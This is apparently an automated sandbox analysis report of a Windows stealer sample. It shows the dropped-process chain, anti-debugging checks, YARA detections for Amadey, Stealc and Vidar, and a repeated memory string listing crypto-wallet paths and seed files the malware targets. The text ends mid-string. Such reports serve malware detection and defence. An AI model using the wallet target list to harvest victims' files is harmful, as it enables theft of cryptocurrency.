Code function: 0_2_6C9D5FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C9D5FF0

Source: C:\Users\user\Desktop\file.exe

0_2_6C973480

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_0032652B mov eax, dword ptr fs:[00000030h]		28_2_0032652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_0032A302 mov eax, dword ptr fs:[00000030h]		28_2_0032A302

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9AB66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6C9AB66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9AB1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6C9AB1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 6028, type: MEMORYSTR

Maps a DLL or memory area into another process

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Section loaded: NULL target: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe protection: readonly

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsAEBGHDBKEB.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsAEBGHDBKEB.exe "C:\Users\user\DocumentsAEBGHDBKEB.exe"
Source: C:\Users\user\DocumentsAEBGHDBKEB.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008339001\d32823a5a7.exe "C:\Users\user\AppData\Local\Temp\1008339001\d32823a5a7.exe"

Source: file.exe, file.exe, 00000000.00000002.2743696751.0000000000F1B000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: AProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9AB341 cpuid

0_2_6C9AB341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008339001\d32823a5a7.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008339001\d32823a5a7.exe VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9735A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6C9735A0

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 22.2.DocumentsAEBGHDBKEB.exe.900000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.skotes.exe.2f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.skotes.exe.2f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.skotes.exe.2f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001C.00000002.3463203597.00000000002F1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.3285872270.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2844110306.00000000002F1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.2745221767.0000000005100000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2805381358.0000000004AC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.2786535763.0000000000901000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.2846312486.00000000002F1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000003.2803261634.0000000004AC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2741444292.0000000000888000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2224417817.0000000004C50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2742447007.0000000000B41000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6028, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6028, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2741444292.00000000008E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2741444292.00000000008E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2741444292.00000000008E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2741444292.00000000008E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2741444292.00000000008E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2741444292.00000000008E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2741444292.00000000008E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2741444292.00000000008E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2741444292.00000000008E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local 